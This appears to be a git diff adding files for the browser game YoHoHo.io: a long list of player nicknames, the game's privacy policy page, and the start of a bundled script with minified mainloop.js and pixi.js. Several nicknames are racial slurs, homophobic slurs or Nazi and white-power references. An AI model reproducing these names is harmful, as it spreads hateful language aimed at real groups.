+Skarp +skeet +Skeet.cc +Skibbles +skidlypapapa +Skills +Skillywicket +skin cancer +skinny man +skinny nibba +skinny +SkinnyDog +SkinnyPencil +skinyboi +SKippy DINGL +skirt +skiruby +skissssiss +skisssssiss +Skitz +skiwill +skorski +skozvikes mf +Skrider +skull +Skur +Skuttne +sky blue +sky red +skymonster +skys frind +Slanderman +slappinhoes +slash +slayer +Sleepy Ash +Slender +slick +slicksdad +sliim shady +Slim Jim +slim +Slip +SlipperyFish +Slippy +slirt +SLIT +SLITH FAN +SLITH +SLITH.IO +slogoman +SLOTH +slovakia +SLTIH +Slurmp +small pig +SmallBigBoy +smart +smeeple +smiff +Smiiley +smile +Smiley Face +smiley +Smitty +sml jeffy +Smoke +Smol bean +Smol Boi +Smooth +SmoveMove +Snacks +SNAK SL +Snake Boov +Snake republ +snake +Snakelover +snazzy +SneakyLizard +SneakyRaptor +Sneed +sneff +Snek +snika +Snikks +snipe +sNiPeR gAnG +Sniper +SniperAF +sNiPeRgAnG +snipermiper +Snipers +SnitelDePui +Snix +Snkmaster +snow.io +snowboards +Snowbunny +Snowman +Soccer boxer +soccer shane +soccer +soccerstar +sock +sodoo +Sofia +sofie +Softballgirl +Sokucu Murat +Solan +solar +Sold out dat +solid gold +Solid Snake +soliter +sollraindrop +Solrac +solucan +some milk +some NEET +Someguy +someone +something +sommer ray +songamerhkn +Sonic +SonicCom.Guy +sonicmagma +sonja +sonny +sool +sophia s +sophia +SophiaisKING +Sophie +SOPLAPOLLAS +sora +Sorin +Sorrie +sose +soso +Soter +SOTNIK +SoulEater +SoulS +SoundBarrier +soup the man +south park +southerncorn +SOVIET UNION +soviet +SOVIETS +space cat +space cowboy +Spade +SPAGET +spagetti +Spaghetti +spamm.kylie +Spare me pls +spark +sparkyboi +SPARROW +SPARSH +SpaRtaGuy +SPARTAIN +spatel +spawn peeker +spawn +SPAZZY +spec +special +specs +sped.sped +SpedBois +SpeedyKiller +SPEGET +Spenceabeen +spencee +Spencer +SPERMA +Spets +SPHAGET +Spicy +SpicyBOB +SpiderLee +Spidey +Spideyjeff +spin is team +spin teaam +spin to team +spin to teem +spin to win +spin +SpinForTeam +SpinToTeam!! +spiny +spirit +spiyerr +SplashLegend +splat +Splitting +Splooshy +spongbob +Spood +Spooks +SpookyBoi +Spoons +SpoopySans +Spots zillla +spring trap +springtrap +Sprock +Spudlyman +Sputnik +Spuzi +squad bois +Squatzach +Squeak +Squeezy +Squid boi +Squid Kid +squid +Squiddy +SQUIDWARD T. +squidward +squintz +SQUISHAY +Squrty +squshie +sr.com +SR.Stoudt +SRBlueXV +SRT HELLCAT +sruoledup +srybik +SRYU +SS man +SSAM +ssfadaad +SS-Guard-Kik +ssinator +ssjnargoku +ssm never +Ssnoop +sspryzen +ssundeepoop +StakerCombo +Stalin +Stalinism +stalker +standa +star wars +Star +StarGuy +Starliner +starlord +starstreak +stas +Static +statics +stay away +steak +steam +STEAMED HAMS +SteamedOofs +Stebrn +SteelUrNutel +steelyogirl +stefaanVG +STEFAN +stefanel +steffi +STELANAJR +STEM Leader +stemtec +Stephen +stephencurry +STEVE +stevelasanga +Steven H +Steven RF +STEVEN +STEVIE JONES +Stevie +STEVRINODINO +stfu +stilty +stingteam +stiven kill +STIVEN +StnkyCOWdodo +stone +stop +STOPTROLL +storm +StoRm. +Stormbringer +Stormi W +StormiWebste +StormRipple +stormslayer +StormWizard +Strategy +strawberry +StrawberryPi +Straycashew +Strike +striker +STringer +Stud +Stueff +stuff +Stupid +STUREmeister +sturgy +StylishRab +su madre +sua mae +Subatomic +subhud +Submarine +Subnautica +SUBTOKXDEN +Suehtam +sufian +sugaci +Suhfly +Suicider +sulivanjames +summer +Sunce +SUNNY +SunnyD +sunt roman +sup dog +sup joseff +supa leet +SUPER G +super peg +SUPER PLANE +Super +Superdragon +SuperGriggs +SuperHot +superkotik +SUPERMAN +SuperMega +SuperNova +Superplane +SuperSebas +supina +SUPREME +supremepatty +surender +surf +surrender +Susan Z +Susi Aleman +suuu dude +Suwooop +svagae +svirepovden +svjuh +swag +Swatter +swdasdwasd +Swear +sweaty socks +sweet +sweetin +Swiffer Wet +swift +SWIGGITSWOOT +swirly birdy +SwissNeutral +Swole +swolo +Swurf +Syahril +SYRE +syunki +Syuu +Szaman +Szank +Szczypior +szymko +szymon +T.Tristan +table slayer +Table +TabYreT +tache +tachikoma +Taco B Taco +taco cat +taco +tacos +taDDgy +tadeo +taem im fred +taesha +taft +taha +taiwan +Taiz.io +Tajo +Tajya A +Taka +Take Notes +take +taktak +takuto +talarata +talee +talha asaf +talha +Talon +tamato +Tamer +Tancks +Tanjuuu +tank +TankerToy +tankst +tanman +Tanner reno +tanner +TanTan +TAPE GXD +tapi +Tarak +Tararara +Tard beast +Tard +TARGET +Tarik +Tarkung +TarqIQ +Tartarus +Tarxien +tasanee +Tasiah +tastytidepod +tata +tater dodds +Tatum +tavoo +tavuk cumcem +Tayler +tayloreeeee +taylort +TAYO +tayyar +TBone +Tbro +tburak +Tclement +TCO Wayward +Teal Drone +team af +Team John JP +team luke +Team megafag +team Melone +TEAM OR DIE +team please +TEAM pls pro +team plz +team red +team rocket +TEAM ROTATE +team sharea +Team Teegan +team up +TEam YT +team +TeamMexico +teams plz +teddy noobFR +teddy +tehancienton +Tejon +Tekashi +Teleport +teme +TemmeFlakes +temmie +Tempest +templar +tenky +Tennis +terezza +teri +terka +Terminator +teros +Terra +Terrarian +terrell +Territoriado +terrorist +terrorizer +terry +Teshi +Tessa +test +testicals +Tetrini +Teutholigst +teutza putza +tevincoooper +Texas +Teyshawn +teyt +tfish +TGANU +tggtfdede +TGOD +TGruuu +ThallesBR +That Boi +that bvoii +That Gal +that guy +thatboii +Thatcher +thatgaljana +ThatGuyAgain +ThatNigha +ThatOneGuy +thatseptic +the barnical +The Beast +THE BEATER +The best kid +the best +the boi +The Boss +the choppa +THE CRACK +The DandyDud +The DARK ONE +the dead ma +the dead man +The Defyler +The Devil +THE EMPIRE +The flash +THE FLERB +THe fonz +The GOAT +The Good Boy +The john +The Killer +the king +the kraken +THE LARRYYYY +the letter q +the man +The master +THE MASTER +The Mongoose +the monster +the negro +the new guy +the nooby +the one +The OtherGuy +the phandom +The plebian +The poison +The Pro +THE REDDISH +The rocker +The sausage +the serpent +The Shimkoh +The sinister +the smacher +the sparrow +the squad +The Stoat +The Tez +the thing +the underdog +The Wind +the wither +the worst +theAaron +TheAngryGran +TheArchitect +TheAsian +TheBanana +TheBell +TheBest +TheBlueBro +TheBolt +theboss +TheBoyKill +TheDarkRaven +THEDEZTROYER +THEDUMBDRONE +TheEnialater +TheFullSnack +THEGAMER.EXE +TheGamingBea +thegoat +TheGREATPapy +THEGREENPEN +TheGuy +TheHackerMC +TheJoker +TheKidWhoCan +TheKiller +thekiller.io +theknight +thekraken +TheLandingSS +TheLonePip +TheMathateer +TheNorland +theo potter +theo +Theodoric +TheoINFI +THEONLYMYTH +theoverlord +ThePanthers +tHeQuEeR +therealALI +therealmike +TheRealSouls +TheRedHunter +TheRillis +TheSex +TheShoe +thessaly +TheSucc +TheToxicGuy +TheTrueWolf +TheUKisGood +theunknown +THeWIldPup +TheWolf +thiago lima +thiago +Thiajo +thicc +ThiccBoi +THICCC BOI +Thicctor +thick boy +thick +thickems +thickie +Thid +Thijs +Thinck +thing +This guy +Thisguy +thisismyname +Thisissobasi +thnmjuy +Thobias +thomas p +thomas +ThomasofTKA +thot +thotty +Thrallix +threstra +thtje +thug popsicl +THUNDER +thunderbird +thundercat +Thushy +ThyOverlord +tibe +Tiboo +tide ad +TIDE POD +Tide Pods +TIDEPOD-RHMS +tiedpods +tietzy +tiffany +tiger +Tigeris +Tigerlilly +TigerstarELM +TiltedTowers +TimaRo +Timber Bill +time to die +Time Waster +TimeCraftify +TimeLord +Timemaster +timmy +Timo +Timo.TV +Timosha +timotei +timoz +tina +tinky winky +Tiny +Tio Lele +tipodsieat +titen no jut +titi +titiburgaud +tities +titimb +Titok +tits +TIZIANO +tjboss +TKA Bennett +TLLPheonix +tman +TMS COOPER.S +TMS Spencer +Toad +Toast Love +Toast +toaster +toba +tobby +TocardMan +tocino.pdf +Todd +toejam tendi +Tofu +toge +tolaras +Toll +tolo +tom pindur +TOMA +tomas +tomasinga +Tomato +Tomatoes +Tombitker +tomi +Tommy +Tommycz +tomo +tomohawk +Tomorrow +tomskololo +tomy hours +tong +toni +Tonic Tapioc +tontatta +tonto +tony slave +Tony Hotline +Tony +Tonymo +toobi +top dog +topaz +toppo +tor zaza +torhay +tori +toribioiscoo +Torin +Torstone +Tortor +tososek +tostosocial +TotalTRASH!! +Toto +TOULI LOL +town +Toxic +ToxicHD +TOXIN +tozzahh +TR emre +Tr ibo +Trabzonspor +trace +Trae young +TRALALALA +Tramel +trankhungha +Trankys +Transpiren j +trap nation +trash +TRaum +Travis KMS +Travis +Trayton +TRBerko +trblemaker +tredat +tree hugger +Tree o +TREE +TREEE +Treeman +trent +Trenton +Trevor king +trevor +trex +TREY DONKEY +trey +Treyyyyyyyyy +TrezDaaGoat +Triangle +triforce +trigangle +Trigeer +Trigered DAD +Triggered +Trinity +trinkle +triplestrike +Trippie Red +trippie redd +TrippieNotRe +trippy +tristin +tristonrocks +Trithian +TRKselo +trofik +troil +trol +trolencio +TrolesIII +TROLL KURWA +troll +TROLLER +TrollKing +trolloloolol +TROLOLOLOLOL +tron +trongdu +trove +Troxythefox +trrrete +trry +Truck Fump +trucker RHMS +TruckFump +Trudy +True Light +true religio +True +truebluefire +trueohio lax +truly gifted +trump wall +Trump +trumpisdaddy +truth +try me bruh +Try me fool +try me noob +TRY ME +Try My Best +tryangle +TryHard +tryn +tryuu +TSM-Dymnamic +TTgirl +tttdog +TTTOOONNNYYY +tu madre +tu papa +tuan +Tubby +Tubman +Tuck +tucker +TUFO +TugBopay +TUITGHI +tule fearles +Tulip +tuna +Tunahan Onur +tunkarra +TUONG +Turbo +turk baba +turk ugur +Turk +TURKEY +turkie +TURKISHTITAN +turkiye +turkler team +turko +turkteaam +turkum +Turouk +Turtle +TURTLEJOE +Turtls +Turwal +Tutle +TUZLA +tv boy +TWICE +twin +TWOCOPS +txalo +Ty LaFour +tyce +tydaboss +Tyler Andrus +tyler conner +tyler dinata +Tyler Sticha +Tyler +Tylergetoff +TylerH +tymber +tyottoty +Tyover +typicalpanda +Typii +TyReElAcY +Tyrone +Tyskin +tyso perras +tyson perras +tyson +tytu +U GONNA LOSE +u mong +U stupid +uabinabil +ugalek +Uganda knuck +ugly ghost +Ugly +ugugur +ugur +ugurbabay +ugurhan +UKKA GANG +Ukrain +Ukraine +ulas +Ulquiorra +ultamate bea +Ultimate +ultra moon +UmadBro +Umak +umar +umm hi +ummkay +Umut +Umutcan +unai +Unamed +Uncle Burger +Uncle drew +uncle tickle +UndeadTroll +Underdog +UnderShadow +unete +unfast +Un-Flying.io +unicorn dadd +Unicorn Dog +unicorn +Unicorn +unigirl +unisavage +UNISHCALA +Unitary +Unknown +UNKNOWN +Unknown. +UnknownGOD +UNKOWN +Unminded +Unnamed +unteamer +UplayzDerpy +upupdowndown +uqlyqirl +ur boi noah +UR BOI +ur demise +ur dumb +ur gey +UR MOM +ur mother +ur mum +Ur papa +Uranus +urdadlesbian +Uriel gAmer +Uriel +UrMom.com +urmotherhomo +URMUM +urmumgey +Urmumsador +UrNan +urself +urtzi +usayd +UseYourName +uslubaris +USMC +ussr +usui +Utkan +utku +uuuhhh +uuuu +UvealJuggler +Uwewe +uyffyi +Uzayr H +vadim +vadvad +vagter +vahleg +Valentyn +valheinsin +valia +Valle +valleyGirl +Valuxis +VanessaVC +vanka +Vanossgaming +Vansh +vapegodkyler +vapel +VapeLordNord +vaporion +Varginium +Varlom +vasil zajcov +Vaughnypus +vault boy +VC Enterpris +VC LEMOBOI +VC Reliant +Vdog +vector +VEDAMAR +VEDAT +vegeta +Vegito +vejd +velsen ehh +VEM MONSTRO +vEnad +Venom +Venture +Venus +VenusSquad +Verdana +vereshchak +very fragile +veryawful +vetealaverch +VExx +veyron TV +veysel +vfhbyf +Vharm +vicente +victor wfms +victor +VictorHrzSBX +vidalexa +Video gidin +Video +Vidicus +VIERY +Vietnamese +Vietnamese! +Vika +viki +Vikings +VikingToker +Viktorrr +Vilko +VILKUMISTRZ +Vince +vincent +vinegarity +vinic +Vinnie RHMS +vinz +Violate NAP +violet +Viper +VIPERCONCEPT +viperzX +Virus +Vishix +Vitaliy +VITI +Vitnam +Vitz +VIVALAFRANCE +Vivi +vixer +vksejcovboy +vlad putin +vlad +Vloooog +V-Money +VN HELLO +vocas.cz +vojta +volcanopewbs +voli +volodya +voodoojoi +Voron +VOVA +Vraj +vrhut +Vrooooooooom +Vudoojr +Vulcan +vurucuuuuuu +vusalmirzeli +VVolf +vvrrrooomm +wabbott +Wade +wads +wadu heck +Waff +Waffeilz +wafferlerest +Waffle +WaffleKnight +wags +WAHT +Walawege +Wale hunter +wales +Walid +WALKER cunt +walker +WalkerMaddox +wally +Walnut +walter +WALUIGI +wanderer +wanna team +wapwap +waqjlcawsjkg +WAR MASTER +warbird +warcraft +Wardog +wardrone +warhog +warkid +Warking +warlapinou +Warmid +WarZone +wasa +wasd +wasdf +wassim +wassup +Water +Waterboi +WaterFlare +WaterHawkDen +waterranger +wave +Wawa +wayde +waylonthomas +Wazowski +wdasd +we kool bro +WeebTrash +WEED CHOPPER +WEED +weedingtin +wEEEE +weeesee +weenie +Weest +weFly.io +wefoj +Weiner Face +Weiner +welat +Wenchh +Wenier face +wentz +Wenus +wenZ Th +Wer sind sie +WEREMYWIFI +WERESMYWIFI +WERKAK +werox +wert +werter +wertyu +wesdd +Wesley +Westbrook fy +weston +wewewe +wewo +whack +whale cat +whale leader +WHALE +WHALEKILLERS +WHAMPOWIE +wharchef +what is this +what +Whatever +whatevs. +WhAtHoW +Whats +WhatsUpDoc +whatsyournam +Whatup +whatupcuz +wheeeeeee +wheeeeeeeeee +whisper +whit +White boy +White Power +WHITE +whitepower +Why Doey +why god why +why me +Whykillme +whynot +Wicayth +wickedsmahgt +widmance +wieberdink +Wiener +wienerdog +Wieprz +wikir +Wil lil RHMS +wild +wildbug +Wildcat +wildcraft +Wildfire +WILEXDEER +Wilk +WILL XD +Will +William stua +william +WilliamRusse +willow +wILLY +Willyhappy +Winchester +windex +Windows xp +WINGS OF FIR +WINGSOFFIRE! +WInner +winnie panda +winrow +winston +WinteN +winter +Winterboiboi +winterz +wiskers +With B +WITHER +wittilerebel +Wittle B +WizardEpid +wiziul +Wizrobe +wjieu +WoanaPVP +WodkaCZ +wofals +woffles +WOJAK +wolf +wolfblood +WolfDA +Wolfick +Wolfie +WOLFJUAN +Wolfpack +Wolfriker +Wolfskin +wolfy +Wombat +WOMS +Wonderwaffle +Wont hurt u +woodedprism +Woody +woof +Woofi +Woofless +woohoo +WoOmY +wooo +wopwopwopwop +WORLD GAMER +world of +World +worldwarzero +worms +wowee +wowowowo +wowzer +Wrathfulcob +wreakingball +wreckingball +WreckitRalph +Wrench +WROOOM +WUSSUP +Wuty +wwadd +wweakn +wwNatto +www.youtube +Wyatt d +wyatt +Wyatt +WyattRHMS +x play +Xabi +Xale +xamwemaxbad +xanda +xander +xanth +Xarxes +Xave +xavi +Xaviar +Xavier +xAvIoR +xbox playing +Xearrik +Xeit +xel lex +xeneck +Xeno +Xenogenesis +Xeon +Xerion +xfgret +x-fighter +XilefHD +XiTrAnT +XkillerX +XKingCesar +XmasterBro +xone +Xpolaxer +Xpoldeder +xreyo +xrush +XshannttiX G +Xshtin +xsnipersavag +XsniperX +xSTELANA JRx +xtremeevan +XTREMEKILLER +Xurxus +xviper +xXAidenXx +XxAlia-AxX +xxAliAexx +XxAli-AxX +xXbluebloodX +xXBOIOBOIXx +XXDADDY +XxDanyxX +XxDRAYxX +XxFireWolfxX +xXGamerXx +XXGETRECKDDX +XxIceWolfxX +XxkillerxX +xXNaziboiXx +XxPoTaToEsXx +XxSavagexX +XxSemixX +XxsexyoreoxX +xxshadowclaw +xXShadowXx +xXStarBoundX +xxtacoxx +xXUniBoiXx +XXXAli-AXXX +XxXEyanXxX +XXXTENTACION +XYUKAINAN +Xzavier +xzcvfghui +y.orhan +YA BOI +Ya Boiii +Ya boy Evdog +Ya like jazz +ya nan +Ya poop +yaaaasssssss +Yaboibread +YABOICHRYS +yaboiijayo +YaBoiSam +YaBoyGinGer +Yaccup +Yadam +yadi +yaeh +Yaguister +yahir +yakali +yako +yakupbaba +yall nub +Yamaguchi +yamaico +yandere +Yangasaur +yanimize +yankdacrank +Yankee +yansali +YAPRAK SARMA +Yareli +Yarko +YARMAK +yaron +YARRAK +yasemin +yaser +Yash SRMS +Yash +yasib +yasin +Yasmane +YaSSo +yay teamate +yaya +yayaya +yayo +yazan +YBN Lil Blue +ybn zay +ycmbreez +YDCB +ye boi +Yea Boi +yeah boiiiii +YeBoiET +yee yee +YEEEEEE +Yeeeeeeeeeet +YEEEEP +yeeeey +yeeettt +Yeemaster +yeep +YEET BEAST +YEET BOI +Yeet Yeet +YEET +yeetonmaskee +yeety +YeetYeetSkee +Yeimmy +Yellow Sugar +YEllow +YellowBird +yerboyriley +yesMANyes +YetAnotherHu +yeye +YeYeGod +yggh +Ygor +YGzx +yhryt +yigitkoltuk +yjio +YLN Mel +yo daniel +yo flipen ma +YO MamA +yo mom +yo moma +yo wut +yoalex +yoboi +yoboy +Yoda +yodaboy +Yoff +yogi +yoit +yoksetio +Yoleo +yolo gamer +yolo +YOLOfisch +yolomotip +yolooooooooo +Yomama +YOMMAMA +yomom +YOONA SNSD +yooo daddy +yootfroot +Yoran +Yorwan +yosabre +yoshi isback +yosimar +yostin +you and peop +you are +YOU DID +You die +you fool +you hacker +YOU KABLAF +YOU KNOW +you lost die +you next dad +you why +YOUDIED +Young Broken +young dexter +young mailey +young money +young pierre +Young Savage +Young Savge +YoungBapeGod +youngboy +Younghitta +YOUR BOI +Your dad +your daddy +YOUR DEALTH +your doom +your dreams +your ego +your father +your gaurd +Your grandma +YOUR MAMA +Your Mom +your mommmmm +your mother +Your mpm +your mum +your name +your nan +your nick +your nicke s +Your nicknam +Your nicname +your nightma +Your Nikname +your noob +your +yourdaddy +Yourmom +yourmom.com +yourmurderer +yourmurdurer +yournickname +yourself +yousahoe +YouShallPASS +yout nicknam +YOUTUBE.COM +youuuu +youuuuuuuuuu +yovngm +Yoyo +yoyocanada +yoyoyoyo +yssej +ytujty +YU GILA +yuhlevicuh +yujunlen +yukila +Yumi +Yummie Cummi +Yummy +yummytidepod +yung chuy +Yung Mullet +Yunus Emre +yunus +Yur dad +YuRbAs +yuri +yusif +yusuf vekaan +yusuf +yuuki +yuzeri +YuzuruHanyu +YvngBlackOut +YYEEEETT +yyet +yyyyyy +yyyyyyyyy +za bix +zaaan +zaazazaaa +zacattack +Zach +zachary +ZachAttack +zachibro +ZaChNiCo +zacj +zack +ZADDY BABY +ZADDY MOMMY +Zaerog +ZaGobi +Zags +zahar +zahid +Zalli +zalupa +Zamasu +Zambie +Zander +ZaNGo +ZaNoZzA +Zariyaaaa +zartosht +Zav Whip +zaxsin +zayen +zayuh +zaza +ZBEUBZBEUB +ZBrine +zcasfwasda +zeaddy +Zeamox +zeebs +Zeezy +zehra +zeka +zeke +Zeko +Zenba +Zendos +zeno +Zephire +Zepitoco +Zeppliner +Zero +zeros +Zerotek +Zers +zeus +zHEbOsS +Zhen +ZhengLeoYT +Zhong +Zibtron +Zidan +ZIG ZAG +zink +Zionartepkk +zippyjourney +zith +zkasa +Zlaer +zlayPtiza +zman +Zmaxx +Zmen +znyx +zodmafa +Zoe Murphy +Zoey +Zohal +Zoltron +Zombie +zombiehacker +ZOMBIES +zombiiiiii +ZOMRI +ZONGULDAKLI +zoom +ZoomTheDoge +zooted +ZooWeeMama +Zorbert +Zorin +zozoyka +zpook +ZSHEEP +Zsombec +zStung +Zt-freak +zues +zulalkim +zuzu +zworrior +zx emoji +ZXSSFGGWEYT +Zyanides +zycba +Zyeks +Zyennai +Zygarde +Zyquan +zyxstand +zztop diff --git a/yohoho/privacypolicy.html b/yohoho/privacypolicy.html new file mode 100644 index 00000000..c5123b29 --- /dev/null +++ b/yohoho/privacypolicy.html @@ -0,0 +1,167 @@ + + + + + + + + + +
YoHoHo.io Privacy Policy
+
+
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+
+
+
+
+
Google AdSense
+
+
+
Fair Information Practices +
Fair information
Practices
+
+
+
+
COPPA
+
+
+
CalOPPA
+
+
+
Our Contact Information
+
+
+
+
This privacy policy has been compiled to better serve those who are concerned with how their 'Personally Identifiable Information' (PII) is being used online. PII, as described in US privacy law and information security, is information that can be used on its own or with other information to identify, contact, or locate a single person, or to identify an individual in context. Please read our privacy policy carefully to get a clear understanding of how we collect, use, protect or otherwise handle your Personally Identifiable Information in accordance with our website.

+ +

Information collection

+
What information do we collect?

+
- IP Address, Browser technical configuration, Links clicked, Actions in the game (win, lose, progress...) ; when you navigate on the site

+
- Social account identifier, email and public name ; only when you login with Google or Facebook

+
How do we use your information?

+
We may use the information we collect from you when you register, make a purchase, sign up for our newsletter, respond to a survey or marketing communication, surf the website, or use certain other site features in the following ways:

+
      - Registration and authentication.
+
      - To improve our website in order to better serve you.
+
      - To send periodic emails regarding your order or news about our games and other products.

+
System logs and maintenance

+
For operation and maintenance purposes, this Application and any third-party services may collect files that record interaction with this Application (System logs) or use for this purpose other Personal Data (such as IP Address).
+ +

Cookies

+
Do we use 'cookies'?

+
Yes. Cookies are small files that a site or its service provider transfers to your computer's hard drive through your Web browser (if you allow) that enables the site's or service provider's systems to recognize your browser and capture and remember certain information. For instance, we use cookies to help us remember and process the items in your shopping cart. They are also used to help us understand your preferences based on previous or current site activity, which enables us to provide you with improved services. We also use cookies to help us compile aggregate data about site traffic and site interaction so that we can offer better site experiences and tools in the future.
+

We use cookies to:
+
      - Required: Manage your game session and save your game settings for future visits, such as skin selected or popups dismissed
+
      - Social plugins: These cookies allow you to sign in with third-party services such as Google and Facebook
+
      - Analytics: These cookies allow us to count visits and traffic sources, so we can measure and improve the performance of our site. They help us know which pages are the most and least popular and see how visitors move around the site. All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies, we will not know when you have visited our site.
+
      - Targeting Cookies: These cookies are set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant ads on other sites. They work by uniquely identifying your browser and device. If you do not allow these cookies, you will not experience our targeted advertising across different websites.
+ + +

Third-party providers

+
Google

+
Google's advertising requirements can be summed up by Google's Advertising Principles. They are put in place to provide a positive experience for users. https://support.google.com/adwordspolicy/answer/1316548?hl=en

+
We use Google AdSense Advertising on our website.
+

Google, as a third-party vendor, uses cookies to serve ads on our site. Google's use of the DART cookie enables it to serve ads to our users based on previous visits to our site and other sites on the Internet. Users may opt-out of the use of the DART cookie by visiting the Google Ad and Content Network privacy policy.
+

We have implemented the following:
+
      - Remarketing with Google AdSense
+
      - Demographics and Interests Reporting

+
We, along with third-party vendors such as Google use first-party cookies (such as the Google Analytics cookies) and third-party cookies (such as the DoubleClick cookie) or other third-party identifiers together to compile data regarding user interactions with ad impressions and other ad service functions as they relate to our website.
+

Opting out:
Users can set preferences for how Google advertises to you using the Google Ad Settings page. Alternatively, you can opt out by visiting the Network Advertising Initiative Opt Out page or by using the Google Analytics Opt Out Browser add on.

+ +
Facebook

+
This Application may ask for some Facebook permissions allowing it to perform actions with the User's Facebook account and to retrieve information, including Personal Data, from it. This service allows this Application to connect with the User's account on the Facebook social network, provided by Facebook Inc. For more information about the following permissions, refer to the Facebook permissions documentation and to the Facebook privacy policy.

+
The permissions asked are the following:
+
      - Basic information: By default, this includes certain User's Data such as id, name, picture, gender, and their locale. Certain connections of the User, such as the Friends, are also available. If the User has made more of their Data public, more information will be available.
+
      - About Me: Provides access to the 'About Me' section of the profile.
+
      - Contact email: Access the User's contact email address.

+
Advertising

+
We use third-party advertising companies to serve ads when you visit our Web site. These companies may use information (not including your name, address, email address or telephone number) about your visits to this and other Web sites in order to provide advertisements about goods and services of interest to you. If you would like more information about this practice and to know your choices about not having this information used by these companies, click here

+
Disclaimer about the Ad technology providers

+
We may use third-party Service Providers to show advertisements to you to help support and maintain our website. Depending on the ads that are served, your data (not including your name, address, email address or telephone number) may be shared with any of the ad technology provider listed below. Ad technology providers (including Google, Ad Exchanges, SSPs, DSPs, ad networks, bidders and vendors) use your data for example, to show you personalised ads or to report on conversions. In the overview below you can find links to information on how the technology providers use your data. Please refer to their respective privacy policies for further details

+
- ADINPLAY: http://adinplay.com/privacy-and-cookies-policy/ section "Advertising"
+
- CURSE: https://www.curse.com/ section "Privacy Policy"
+
- LIFESTREET: https://www.lifestreet.com/privacy/

+
Third-party disclosure

+
We do not sell, trade, or otherwise transfer to outside parties your Personally Identifiable Information.

+
Third-party links

+
If you click on an advertisement or a link to purchase or learn more about a listing you may be directed to a contact form, website or phone number of a third party. Any information you may provide to such third parties will be subject to their Privacy Policy.
+
Doorbell
+
We rely on doorbell.io for the contact form that requests your email, please refer to their privacy policy at https://doorbell.io/privacy-policy
+ +

CalOPPA, COPPA, CAN SPAM Act

+
California Online Privacy Protection Act

+
CalOPPA is the first state law in the nation to require commercial websites and online services to post a privacy policy. The law's reach stretches well beyond California to require any person or company in the United States (and conceivably the world) that operates websites collecting Personally Identifiable Information from California consumers to post a conspicuous privacy policy on its website stating exactly the information being collected and those individuals or companies with whom it is being shared. - See more at: http://consumercal.org/california-online-privacy-protection-act-caloppa/#sthash.0FdRbT51.dpuf
+

According to CalOPPA, we agree to the following:
+
Users can visit our site anonymously.
+
Once this privacy policy is created, we will add a link to it on our home page or as a minimum, on the first significant page after entering our website.
+
Our Privacy Policy link includes the word 'Privacy' and can easily be found on the page specified above.
+

You will be notified of any Privacy Policy changes:
+
      - On our Privacy Policy Page
+
Can change your personal information:
+
      - By emailing us
+

How does our site handle Do Not Track signals?
+
This Application does not support "Do Not Track" requests. To determine whether any of the third-party services it uses honor the "Do Not Track" requests, please read their privacy policies.
+

Does our site allow third-party behavioral tracking?
+
It's also important to note that we allow third-party behavioral tracking

+
COPPA (Children Online Privacy Protection Act)

+
When it comes to the collection of personal information from children under the age of 13 years old, the Children's Online Privacy Protection Act (COPPA) puts parents in control. The Federal Trade Commission, United States' consumer protection agency, enforces the COPPA Rule, which spells out what operators of websites and online services must do to protect children's privacy and safety online.

+
We do not specifically market to children under the age of 13 years old.
+
+
Fair Information Practices

+
The Fair Information Practices Principles form the backbone of privacy law in the United States and the concepts they include have played a significant role in the development of data protection laws around the globe. Understanding the Fair Information Practice Principles and how they should be implemented is critical to comply with the various privacy laws that protect personal information.

+
In order to be in line with Fair Information Practices we will take the following responsive action, should a data breach occur:
+
We will notify the users via in-site notification
+
      - Within 30 business days
+

We also agree to the Individual Redress Principle which requires that individuals have the right to legally pursue enforceable rights against data collectors and processors who fail to adhere to the law. This principle requires not only that individuals have enforceable rights against data users, but also that individuals have recourse to courts or government agencies to investigate and/or prosecute non-compliance by data processors.

+
CAN SPAM Act

+
The CAN-SPAM Act is a law that sets the rules for commercial email, establishes requirements for commercial messages, gives recipients the right to have emails stopped from being sent to them, and spells out tough penalties for violations.

+
We collect your email address in order to: send news about our games
+

To be in accordance with CANSPAM, we agree to the following:
+

If at any time you would like to unsubscribe from receiving future emails, you can email us at
dev@yohoho.io
and we will promptly remove you from ALL correspondence. +

+ +

Contact information

+
Contacting Us

+
If there are any questions regarding this privacy policy, for data access requests, and for data deletion requests: you may contact us using the information below.

+
dev@yohoho.io
+

Last update on 2021-10-13
+ + + diff --git a/yohoho/yohoho.js b/yohoho/yohoho.js new file mode 100644 index 00000000..49addf6b --- /dev/null +++ b/yohoho/yohoho.js @@ -0,0 +1,76 @@ +/** + * mainloop.js 1.0.3-20170529 + * + * @author Isaac Sukin (http://www.isaacsukin.com/) + * @license MIT + */ + +!function(a){function b(a){if(x=q(b),!(ai+h&&(f=g*j*1e3/(a-i)+(1-g)*f,i=a,j=0),j++,k=0;d>=c;)if(u(c),d-=c,++k>=240){o=!0;break}v(d/c),w(f,o),o=!1}}var c=1e3/60,d=0,e=0,f=60,g=.9,h=1e3,i=0,j=0,k=0,l=0,m=!1,n=!1,o=!1,p="object"==typeof window?window:a,q=p.requestAnimationFrame||function(){var a=Date.now(),b,d;return function(e){return b=Date.now(),d=Math.max(0,c-(b-a)),a=b+d,setTimeout(function(){e(b+d)},d)}}(),r=p.cancelAnimationFrame||clearTimeout,s=function(){},t=s,u=s,v=s,w=s,x;a.MainLoop={getSimulationTimestep:function(){return c},setSimulationTimestep:function(a){return c=a,this},getFPS:function(){return f},getMaxAllowedFPS:function(){return 1e3/l},setMaxAllowedFPS:function(a){return"undefined"==typeof a&&(a=1/0),0===a?this.stop():l=1e3/a,this},resetFrameDelta:function(){var a=d;return d=0,a},setBegin:function(a){return t=a||t,this},setUpdate:function(a){return u=a||u,this},setDraw:function(a){return v=a||v,this},setEnd:function(a){return w=a||w,this},start:function(){return n||(n=!0,x=q(function(a){v(1),m=!0,e=a,i=a,j=0,x=q(b)})),this},stop:function(){return m=!1,n=!1,r(x),this},isRunning:function(){return m}},"function"==typeof define&&define.amd?define(a.MainLoop):"object"==typeof module&&null!==module&&"object"==typeof module.exports&&(module.exports=a.MainLoop)}(this); +//# sourceMappingURL=mainloop.min.js.map +/*! + * pixi.js - v4.8.9 + * Compiled Thu, 16 Jan 2020 21:39:45 UTC + * + * pixi.js is licensed under the MIT License. + * http://www.opensource.org/licenses/mit-license + */ +!function(t){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var e;e="undefined"!=typeof 